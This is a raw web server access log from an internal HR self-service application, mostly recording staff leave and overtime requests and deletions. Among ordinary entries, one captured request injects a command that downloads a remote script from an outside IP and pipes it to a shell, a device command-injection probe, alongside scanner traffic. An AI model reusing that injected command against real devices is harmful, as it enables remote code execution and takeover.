x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0661978373415737 HTTP/1.1" 200 12405 192.168.11.125 - - [04/Dec/2025:09:55:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.125 - - [04/Dec/2025:09:55:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [04/Dec/2025:09:55:31 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:31 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.125 - - [04/Dec/2025:09:55:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [04/Dec/2025:09:55:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1220026433043171 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1220026433043171 HTTP/1.1" 200 10228 192.168.11.125 - - [04/Dec/2025:09:55:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1220026433043171 HTTP/1.1" 200 12405 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1220026433043171" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1220026433043171 HTTP/1.1" 200 12405 100.64.0.1 - - [04/Dec/2025:09:56:00 +0800] "GET login.cgi HTTP/1.1" 400 226 "-" "-" 100.64.0.1 - - [04/Dec/2025:09:56:00 +0800] "GET login.cgi HTTP/1.1" 400 226 100.64.0.1 - - [04/Dec/2025:09:56:01 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F213.209.143.114%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:09:56:01 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F213.209.143.114%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 404 208 "-" "Mozila/5.0" 100.64.0.1 - - [04/Dec/2025:09:56:03 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [04/Dec/2025:09:56:03 +0800] "GET / HTTP/1.0" 200 439 192.168.11.125 - - [04/Dec/2025:09:56:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:56:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.125 - - [04/Dec/2025:09:56:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:56:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [04/Dec/2025:09:56:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11503839296745955 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:56:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11503839296745955 HTTP/1.1" 200 10228 192.168.11.125 - - [04/Dec/2025:09:56:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11503839296745955 HTTP/1.1" 200 12405 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11503839296745955" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:56:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11503839296745955 HTTP/1.1" 200 12405 192.168.11.125 - - [04/Dec/2025:09:56:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:56:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.125 - - [04/Dec/2025:09:56:34 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.125 - - [04/Dec/2025:09:56:34 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:56:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:56:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 100.64.0.1 - - [04/Dec/2025:09:57:50 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)" 100.64.0.1 - - [04/Dec/2025:09:57:50 +0800] "GET / HTTP/1.1" 200 439 192.168.11.125 - - [04/Dec/2025:10:02:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6838697641112877 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:10:02:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6838697641112877 HTTP/1.1" 200 10228 192.168.11.125 - - [04/Dec/2025:10:02:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6838697641112877 HTTP/1.1" 200 12411 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6838697641112877" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:10:02:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6838697641112877 HTTP/1.1" 200 12411 192.168.11.125 - - [04/Dec/2025:10:02:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:10:02:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.12.46 - - [04/Dec/2025:10:17:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:17:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [04/Dec/2025:10:17:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:17:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [04/Dec/2025:10:17:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:17:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.46 - - [04/Dec/2025:10:17:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:17:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.12.46 - - [04/Dec/2025:10:17:37 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:17:37 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.12.46 - - [04/Dec/2025:10:17:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:17:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.46 - - [04/Dec/2025:10:17:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 47278 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:17:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 47278 192.168.12.46 - - [04/Dec/2025:10:18:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 192.168.12.46 - - [04/Dec/2025:10:18:11 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:11 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.12.46 - - [04/Dec/2025:10:18:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 131970 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 131970 192.168.12.46 - - [04/Dec/2025:10:18:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1363860 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1363860 HTTP/1.1" 302 - 192.168.12.46 - - [04/Dec/2025:10:18:17 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1363860+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:17 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1363860+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 192.168.12.46 - - [04/Dec/2025:10:18:18 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1363860+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:18 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 192.168.12.46 - - [04/Dec/2025:10:18:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 192.168.12.46 - - [04/Dec/2025:10:18:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 130925 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 130925 192.168.12.46 - - [04/Dec/2025:10:18:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1364387 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1364387 HTTP/1.1" 302 - 192.168.12.46 - - [04/Dec/2025:10:18:41 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1364387+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:41 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1364387+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 192.168.12.46 - - [04/Dec/2025:10:18:44 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:44 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.12.46 - - [04/Dec/2025:10:18:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [04/Dec/2025:10:18:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:18:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.46 - - [04/Dec/2025:10:19:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:19:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 192.168.12.46 - - [04/Dec/2025:10:19:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 202277 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:19:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 202277 192.168.12.46 - - [04/Dec/2025:10:19:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1364572 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:19:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1364572 HTTP/1.1" 302 - 192.168.12.46 - - [04/Dec/2025:10:19:44 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1364572+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:19:44 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1364572+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 192.168.12.46 - - [04/Dec/2025:10:19:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:19:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 192.168.12.46 - - [04/Dec/2025:10:19:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 202047 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:19:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 202047 192.168.12.46 - - [04/Dec/2025:10:19:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1364043 HTTP/1.1" 302 - 